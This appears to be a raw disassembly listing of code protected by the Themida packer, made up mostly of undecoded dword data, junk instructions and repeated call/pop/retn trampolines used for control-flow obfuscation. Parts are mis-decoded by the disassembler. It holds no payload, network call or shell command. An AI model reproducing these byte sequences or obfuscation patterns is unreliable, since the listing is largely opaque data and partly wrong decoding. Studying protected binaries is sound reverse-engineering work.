sub_5B9ADA endp
; ---------------------------------------------------------------------------
dw 0A5FBh
dd 0F129392Bh, 0FFE781E6h, 8133FD99h, 1508ADBDh, 7D006h
dd 88860F00h, 6A000001h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 1F22C350h, 0F98B6658h
dd 27159D8Bh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 0F85F9AC3h, 189D8589h, 0E3810615h
dd 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 43C35646h, 55C17B0Ch, 860F152Ah, 6, 2D458531h
dd 8B660615h, 0FDB0BF1h, 9D85h, 0DF816600h, 12E9FB97h
dd 70000000h, 7DC65942h, 4BACD548h, 0F9D61373h, 0F6C979B0h
dd 65BD8312h, 618FFh, 11840Fh, 0B70F0000h, 8BE9FCF6h, 52000000h
dd 226D9529h, 0C75F0615h, 18FF6585h, 106h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 0B3C6B7EAh, 8FBE2B15h, 6617EBDEh, 0E962E7BEh, 4Ah, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 33C35646h, 0AAE2990Fh
dd 0A9FAE14Bh, 17E9BD33h, 85C70615h, 618FF65h, 0
; ---------------------------------------------------------------------------
jmp loc_5B9C4E
; ---------------------------------------------------------------------------
db 0D4h, 50h, 97h
dd 0F0EB4178h, 4C36522h, 0A6C17A5Eh
db 59h, 62h
; ---------------------------------------------------------------------------
loc_5B9C4E: ; CODE XREF: Themida_:005B9C38j
lea ebx, [ebp+6152715h]
movzx edi, cx
and dword ptr [ebx], 0FFFFFEFFh
push 0
push ecx
call sub_5B9C68
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9C68 proc near ; CODE XREF: Themida_:005B9C60p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5B9C68 endp
; ---------------------------------------------------------------------------
dd 0F2945D7h, 68Eh, 6DBD8900h, 8B061526h, 158D89FEh, 66061522h
dd 6ADB8Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 0A572C9C3h, 0E83AC63Ch, 6, 1DDA2920h, 0BD8B7DEFh
dd 6151809h, 0C781665Fh, 0C3F6DDA4h, 75840F04h, 0FF000000h
dd 1518A195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 7AE3388Ah, 1BD68166h, 0FE8B667Dh
dd 0E9BF6690h, 12E950D9h, 58000000h, 1238B3FBh, 5B603283h
dd 1E30AAB9h, 3C270157h, 6A90C8h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 3A6F5BC3h, 840EC961h
dd 8D89BCF5h, 6150BB9h, 44FE9h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 4CE3CA79h
dd 0AE8h, 108E7F00h, 0D3797AA6h, 0F4F3622h, 83h, 0B05F00h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1DC35646h
dd 6840Fh, 0BD8B0000h, 61517DDh, 0B58B70E6h, 6150379h
dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 605E09C3h, 5E9h, 0ABB1AF00h, 0BD8B3D1Bh
dd 6150C41h, 0D8B60F61h, 5CE68166h, 6BA20h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 3EA10EC3h, 0A8EE9A81h, 0B58B37B3h, 6150801h, 6AC38Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0BF0FC3C3h, 7E8F9h, 8C690000h, 539C934Bh, 0FA8B5E26h
dd 6604E8C1h, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 375C30C3h, 0B589EDCBh, 6150119h
dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 93F9FDC3h, 8B665250h, 5A310FF7h, 0EE85058h
dd 27000000h, 7F4F41F4h, 0DD9A16C8h, 5E332F59h, 5E8EFh
dd 51CD0000h, 530C065Ch, 935F5E5Eh, 0BE8h, 8E91400h, 512E1B66h
dd 3935253Fh, 0FF5EFA8Bh, 1508ADB5h, 2195FF06h, 8906152Eh
dd 150A759Dh, 0E600B006h, 52006A70h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 7638872Ah
dd 0ED5926Dh, 26958509h, 71E40615h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 6DC35747h, 0C43E1A46h, 0E6EA6BCh
dd 27B99D89h, 613C0615h, 252830Fh, 9E90000h, 92000000h
dd 5096A0C6h, 0D1AA9039h, 6AD8B60Fh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 9F9EC355h
dd 60E61475h, 2B458D89h, 0D98B0615h, 6BA61h, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 0C4C1A8C3h, 8DE53579h, 8B6023CBh, 1522599Dh, 0C38B6106h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C7C35646h
dd 0ECEACC61h, 0BC012AD9h, 4E8C1FCh, 1E919529h, 0B58B0615h
dd 61523DDh, 6AE2F766h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 233FC350h, 0B9E30D24h
dd 0EA078AE2h, 800FD82Bh, 6, 0A09B523h, 6A580615h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 0EC56C352h, 0EBA836A5h, 2D9B58Bh, 5E90615h, 54000000h
dd 631970CAh, 880FD82Bh, 140h, 0F52F28Bh, 28Ah, 5E616000h
dd 7B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 80BED1DDh, 0FD8509A3h, 83061523h
dd 0D93B00C1h, 0FE860Fh, 0D7810000h, 2258C274h, 8BD98C66h
dd 152D99BDh, 4C1F606h, 0C0840Fh, 0D6810000h, 362B1616h
dd 0A195FFF9h, 6A061518h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 4E79C352h, 291609D3h
dd 0B58B8120h, 61510F5h, 6810F5Bh, 8B000000h, 15154DB5h
dd 8D850106h, 2B06150Ah, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 0CF4B4863h, 87D89017h
dd 487ABFF6h, 0FE8B58FBh, 8343Dh, 3F860F00h, 0F000000h
dd 888h, 860F5600h, 0
; ---------------------------------------------------------------------------
pop edi
mov edi, edx
jmp loc_5BA19C
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5BA157
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA157 proc near ; CODE XREF: Themida_:005BA14Fp
arg_4 = dword ptr 8
pop edi
loc_5BA158: ; CODE XREF: Themida_:005BA16Aj
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5BA157 endp
; ---------------------------------------------------------------------------
dec eax
mov ah, 0C9h
jnp short loc_5BA158
pop eax
xor [edi+esi-75h], bl
mov ch, 5
xor al, 15h
push es
mov eax, eax
push 0
push ecx
call sub_5BA183
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA183 proc near ; CODE XREF: Themida_:005BA17Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5BA183 endp
; ---------------------------------------------------------------------------
db 0DEh
dd 8847C9B8h, 0F38B7B57h
; ---------------------------------------------------------------------------
loc_5BA19C: ; CODE XREF: Themida_:005BA147j
mov eax, ebx
mov ebx, eax
push 0
push ebx
call sub_5BA1AB
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA1AB proc near ; CODE XREF: Themida_:005BA1A3p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5BA1AB endp
; ---------------------------------------------------------------------------
stosb
add dh, [ebx-60h]
dec ebp
inc eax
jno short near ptr dword_5BA224
mov eax, [ebp+6150C75h]
sbb dl, 46h
popa
mov dword ptr [ebp+615108Dh], 5B266D5Dh
push 0
push eax
call sub_5BA1E3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA1E3 proc near ; CODE XREF: Themida_:005BA1DBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5BA1E3 endp
; ---------------------------------------------------------------------------
db 1
dd 8E8023Ch, 0DF000000h, 0E91F3959h, 60668991h, 0FE9h
dd 4208600h, 8D1E66E5h, 0CC306876h, 7FEE3B8Bh, 5F615E50h
dd 6AC08Bh, 3E857h
dword_5BA224 dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
; CODE XREF: Themida_:005BA1C2j
dd 2D9EE8C3h, 66331B11h, 0BD81FA8Bh, 61508ADh, 7D0h, 51850Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0ED7CC9C3h, 8BEF44E1h, 150561BDh, 0AD85FF06h
dd 6A061508h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 1A30C353h, 7E29DCF8h, 0FF131B31h
dd 1508ADB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 0C64F92CFh, 945D4E1Bh, 0F9BF0F98h
dd 2E2195FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 9874AC3h, 15254DBDh, 66529006h
dd 6A5FF78Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 2A41C351h, 0BE8h, 9A109200h, 514C297h
dd 2B7CDFA0h, 9E8h, 999F5200h, 5EC1C252h, 5EF803ADh, 1555B50Bh
dd 8B5F0615h, 56006AF8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0BF8B30FDh, 0BF0BF54Dh, 5B2C7BD7h
dd 27198D89h, 8D890615h, 6150DD5h, 491B58Bh, 0BD8B0615h
dd 6150C4Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 1BC35545h, 3AD1C1DFh, 0FFBEF973h, 0E97D2196h, 0Ah
dd 0F129392Bh, 1458D0E6h, 8166E2DBh, 89BF92C7h, 1528CD85h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 47BE502Ch, 5F229D02h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 56C35343h, 55BD8B6Ch, 0E9061534h
dd 0FFFFF6B3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0F9C35141h, 0BD03A3F4h
; ---------------------------------------------------------------------------
loc_5BA430: ; DATA XREF: Themida_:0057C51Co
sbb eax, 8B06152Eh
shr dword ptr [edx+0], 50h
call sub_5BA441
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA441 proc near ; CODE XREF: Themida_:005BA439p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5BA441 endp
; ---------------------------------------------------------------------------
align 2
clc
jmp short loc_5BA459
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
loc_5BA459: ; CODE XREF: Themida_:005BA453j
push 0
push ebx
call sub_5BA464
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA464 proc near ; CODE XREF: Themida_:005BA45Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5BA464 endp
; ---------------------------------------------------------------------------
dd 0ECBD939Ah, 0A58D295Ah, 66061509h, 8D39F1BFh, 15279D85h
dd 0ADB53106h, 5006151Dh, 2E60CABFh, 24048947h, 1889B589h
dd 0B58B0615h, 61510FDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 8B97BBC3h, 15243DB5h
dd 89006A06h, 1508B98Dh, 0C7858D06h, 6A06190Bh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 7242C350h, 0A99ABA10h, 0CB986CEDh, 226DBD8Bh, 0C0830615h
dd 52509005h, 310FFA8Bh, 0C8F0Fh, 6E80000h, 26000000h
dd 0FEB16ABh, 585A5EE1h, 79A0BE50h, 299042CAh, 150401BDh
dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 4880C351h, 7DBD8B53h, 5E06151Eh
dd 0CA0FBE66h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 2C067CC3h, 91817703h, 6056B851h
dd 19A1BD2Bh, 0B50B0615h, 61508F9h, 95895E61h, 615107Dh
dd 267995FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 0C846BBC3h, 9C159D8Dh, 0F78B0618h
dd 2789BD29h, 0D3FF0615h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 0A8C35141h, 2E59BD8Bh, 85FF0615h, 6151535h
dd 161D8D89h, 9DE90615h, 0E8000008h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6190BD1h
push 0
push ecx
call sub_5BA612
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA612 proc near ; CODE XREF: Themida_:005BA60Ap
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5BA612 endp
; ---------------------------------------------------------------------------
dw 0F276h
; ---------------------------------------------------------------------------
add [ebp+615144Dh], ebx
mov edi, 478C832Bh
cmp dword ptr [ebp+61508ADh], 7D0h
jbe loc_5BA815
mov [ebp+6151DFDh], esi
mov ebx, [ebp+6151079h]
push 0
push ebp
call sub_5BA656
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA656 proc near ; CODE XREF: Themida_:005BA64Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5BA656 endp
; ---------------------------------------------------------------------------
dw 0A514h
dd 82102AAEh, 2B3672A0h, 152DA9BDh, 0E38106h, 6A000001h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 487CC351h, 0E871C75Ah, 11h, 8DD14A5Dh, 14DD77FFh
dd 6A40004Eh, 3BE73049h, 0F195894Ah, 5F061514h, 12E9h
dd 0AED9F800h, 0BD9F56h, 0F8C2D319h, 136C6E34h, 0BE72E99h
dd 0D6850FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 0F49FC356h, 14DBB6F9h
dd 3EA10E7Ch, 0A26BD83h, 0F000619h, 2E84h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 291502E5h, 152ED595h, 0ABE906h, 57BE0000h, 0C744FD3Ch
dd 190A2685h, 106h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 711E190h, 52EAAA3Bh, 5880Fh
dd 0B9BE0000h, 5F7FA118h, 11E9h, 8621A800h, 5DE7626Dh
dd 8B25FD73h, 0CDE64412h, 52E90167h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 0D318C357h, 0FD8D2F53h, 2685C72Fh, 6190Ah, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 4935C357h, 0C8E326C9h, 0BF0FA01Ah, 799D8DF1h
dd 0F8061510h, 0FEFF2381h, 6AFFFFh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 63EACDC3h
dd 0E5E399FEh, 8174666Bh, 67442EEFh
db 3
; ---------------------------------------------------------------------------
loc_5BA815: ; CODE XREF: Themida_:005BA639j
mov bx, ds
mov [ebp+6152AEDh], esi
test bl, 4
jz loc_5BA88C
push 0
push ebp
call sub_5BA832
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA832 proc near ; CODE XREF: Themida_:005BA82Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5BA832 endp
; ---------------------------------------------------------------------------
dw 1452h
; ---------------------------------------------------------------------------
ja loc_5BA850
xor [ebp+6151195h], esi
loc_5BA850: ; CODE XREF: Themida_:005BA844j
or [ebp+6150CCDh], ebx
call dword ptr [ebp+61518A1h]
xor esi, [ebp+6150D19h]
push eax
mov di, 0F47Ah
mov [esp], eax
push 0
push edx
call sub_5BA875
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA875 proc near ; CODE XREF: Themida_:005BA86Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5BA875 endp
; ---------------------------------------------------------------------------
or cl, [ecx+1520CD85h]
push es
loc_5BA88C: ; CODE XREF: Themida_:005BA821j
jmp loc_5BAC7E
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5BA89C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA89C proc near ; CODE XREF: Themida_:005BA894p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5BA89C endp
; ---------------------------------------------------------------------------
dd 0EB63AD3Eh, 0A36B7DAh, 0B58BC8C4h, 6151111h, 0C78100B0h
dd 32B7D95Eh, 0B50B70E6h, 6152FFDh, 19820Fh, 14E90000h
dd 0E8000000h, 0E2F90882h, 0D1D2E04Ah, 8A8E19A5h, 0B1F39B5Bh
dd 0E4B35DA7h, 55006A71h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 66CFD25Eh, 1A68DE81h
dd 6AD8B60Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 9F6DC356h, 5810Fh, 0FDBE0000h
dd 0BA1D7E2Eh, 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 10C35545h, 0DB116D8Fh, 0CA29B0C9h, 41B52BB3h, 8B061502h
dd 1504A1BDh, 6AC38B06h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 0ADCEC350h, 8B92CD73h
dd 150BF1BDh, 4E8C106h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 29C35040h, 0E4D78166h, 81B5897Fh, 66061509h
dd 0CE8E2F7h, 0A9000000h, 0C1E35500h, 6F2B636Dh, 5EB4530Ah
dd 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 0DBB90AC3h, 4FC681D1h, 50272F1Bh, 0DEF699BEh
dd 241C8976h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 60C35646h, 2A7AB1DCh, 0CBEA5A4h, 0ADB5FF64h, 0BE061508h
dd 73CBAFD2h, 2E2195FFh, 5E500615h, 6A00B0h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0F1BED0C3h
dd 0EBBF66F9h, 6A70E6C9h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0F6A0C357h, 3E1106ABh
dd 8B71E4F1h, 15037DBDh, 0F613C06h, 1E583h, 0F18B6600h
dd 22D1BD8Bh, 0B60F0615h, 6820FD8h, 81000000h, 0D1A266E6h
dd 6BA43h, 9D290000h, 6150371h, 2950C38Bh, 1511499Dh, 0E8C15F06h
dd 0BD316004h, 6150E09h, 12E960h, 0EA90000h, 8B6DB9A4h
dd 839985Ah, 35D94156h, 96E1CF45h, 61619AB1h, 66E2F766h
dd 66BBE681h, 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 8334FBC3h, 58BCA0ECh, 2F4D9D89h
dd 0D82B0615h, 158880Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 0BF3C93C3h, 0B2E7C78h
dd 7B9h, 0C7816600h, 0C1835D4Bh, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 1BC91456h
dd 0D93BF18Bh, 100860Fh, 0BD330000h, 61510ADh, 6AD98C66h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 800AC356h, 0F55F37Fh, 681h, 850F00h, 0F6000000h
dd 840F04C1h, 8Ah, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 65C35040h, 0F463688Fh, 95FFD91Dh, 61518A1h
dd 12E9h, 24B00E00h, 97144478h, 374640CCh, 8C165285h, 668B310Eh
dd 665BF78Bh, 0C32BF08Bh, 0A6E78166h, 8343DD3h, 860F0000h
dd 32h, 0A221BE66h, 61E9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0E026F4D6h
dd 1EF9CCDEh, 28D5BE3Eh, 0C08B0B6Eh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0E7C35343h, 20333945h, 0E88CB8ABh
dd 68E0Fh, 95290000h, 6150A8Dh, 6925E681h
db 29h, 6Fh
; ---------------------------------------------------------------------------
loc_5BAC7E: ; CODE XREF: Themida_:loc_5BA88Cj
mov eax, ebx
mov ebx, eax
jmp loc_5BAC9A
; ---------------------------------------------------------------------------
db 0A5h
dd 71F3710h, 3350F0A9h, 0B30C7B29h, 0B35A4CFBh
db 0E9h, 2Dh
; ---------------------------------------------------------------------------
loc_5BAC9A: ; CODE XREF: Themida_:005BAC82j
mov dword ptr [ebp+6152715h], 30081FD3h
movsx esi, di
mov eax, eax
call sub_5BACBB
or dl, [esi-2Dh]
adc [ecx], eax
pop ecx
cmp esi, [edx+edx-7E46EF79h]
; =============== S U B R O U T I N E =======================================
sub_5BACBB proc near ; CODE XREF: Themida_:005BACA9p
; FUNCTION CHUNK AT 005BAD32 SIZE 0000001C BYTES
pop edi
cmp dword ptr [ebp+61508ADh], 7D0h
jnz loc_5BAD32
push 0
push edx
call sub_5BACD7
and [edx-3Dh], bl
sub_5BACBB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5BACD7 proc near ; CODE XREF: sub_5BACBB+14p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5BACD7 endp
; ---------------------------------------------------------------------------
db 74h
dd 0BB0EB692h, 0E9A31930h, 11h, 7E4E2AC4h, 4822E508h, 11ED6C30h
dd 0F1E185Bh, 0AD85FFDAh, 6A061508h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0FE7FC351h
dd 53C9BC9Dh, 0BF66337Dh
db 5, 0AFh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5BACBB
loc_5BAD32: ; CODE XREF: sub_5BACBB+Bj
push dword ptr [ebp+61508ADh]
sub si, 3090h
call dword ptr [ebp+6152E21h]
push 0
push eax
call sub_5BAD4E
and [eax-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5BACBB
; =============== S U B R O U T I N E =======================================
sub_5BAD4E proc near ; CODE XREF: sub_5BACBB+8Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5BAD4E endp
; ---------------------------------------------------------------------------
dw 5B2Eh
; ---------------------------------------------------------------------------
movsx edi, di
nop
or esi, [ebp+615007Dh]
mov esi, [ebp+6150899h]
xor [ebp+6150C6Dh], ebx
push 0
push eax
call sub_5BAD81
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BAD81 proc near ; CODE XREF: Themida_:005BAD79p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5BAD81 endp
; ---------------------------------------------------------------------------
db 30h, 97h, 58h
; ---------------------------------------------------------------------------
cmc
jmp loc_5BADAC
; ---------------------------------------------------------------------------
dw 0BC60h
dd 5DA888A2h, 8266115Eh, 0DC4D84A6h, 2700CBECh
; ---------------------------------------------------------------------------
loc_5BADAC: ; CODE XREF: Themida_:005BAD95j
xor si, 3459h
push 0
push ebp
call sub_5BADBC
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BADBC proc near ; CODE XREF: Themida_:005BADB4p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5BADBC endp
; ---------------------------------------------------------------------------
cmpsb
ja loc_5BADEE
jno loc_5BADE2
movsx esi, di
mov [ebp+6150AC5h], esi
loc_5BADE2: ; CODE XREF: Themida_:005BADD3j
pusha
pusha
popa
add [ebp+6151D1Dh], ecx
mov cl, 0B7h
popa
loc_5BADEE: ; CODE XREF: Themida_:005BADCDj
mov edi, ecx
push 0
push ebx
call sub_5BADFB
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BADFB proc near ; CODE XREF: Themida_:005BADF3p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5BADFB endp
; ---------------------------------------------------------------------------
db 82h
; ---------------------------------------------------------------------------
push edi
xchg eax, ebp
or [edx+1], al
jp loc_5BAE1A
movzx edi, dx
loc_5BAE1A: ; CODE XREF: Themida_:005BAE11j
push 0
push edi
call sub_5BAE25
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BAE25 proc near ; CODE XREF: Themida_:005BAE1Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5BAE25 endp
; ---------------------------------------------------------------------------
db 0DDh, 83h, 0E7h
dd 6CCC8354h, 14E8h, 81785700h, 67DFD10Ch, 11A55943h, 858510C3h
dd 474D31F8h, 0F7F4BECCh, 895F6EBAh, 15187D8Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0F963DB43h, 0BD8BBC7Bh, 6152325h, 0FFF76EE9h, 6D8589FFh
dd 6606150Ah, 40FFE781h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 8B68EBC3h, 151D61BDh
dd 4EB06h, 8B000000h, 152FD9B5h, 0F18B6606h, 2773BF66h
dd 279D858Dh, 0DE810615h, 0BB51B02h, 0E83BE50h, 48957A7h
dd 0B8BE6624h, 6A006ACFh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0EA69C350h, 55512467h
dd 0FE2BF3Ah, 138Dh, 0EE900h, 0BC8F0000h, 42980DC3h, 34AD49F1h
dd 7D47248Dh, 0BD8B006Ah, 6151A31h, 1652858Dh, 6A0619h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 8BE041C3h, 151501BDh, 5C08306h, 88C0Fh, 89520000h, 151A059Dh
dd 82BF5F06h, 50265A38h, 89F38B66h, 6A2404h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0C51EAEC3h
dd 66E0306Ch, 6AE779BFh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 11BEF66Ah, 8B135FC6h
dd 151DC1B5h, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 9C38C356h, 1BBE1AC6h
dd 0EE745FC6h, 267995FFh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0F28EB1C3h, 8D0F4DD3h
dd 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+6189C15h]
push 0
push ecx
call sub_5BB029
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB029 proc near ; CODE XREF: Themida_:005BB021p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5BB029 endp
; ---------------------------------------------------------------------------
push cs
rcr byte ptr [edi+20h], cl
daa
aad 0FFh
ror dword ptr [ebx+151CE5BDh], cl
push es
inc dword ptr [ebp+6151535h]
push 0
push eax
call sub_5BB058
and [eax-3Dh], bl
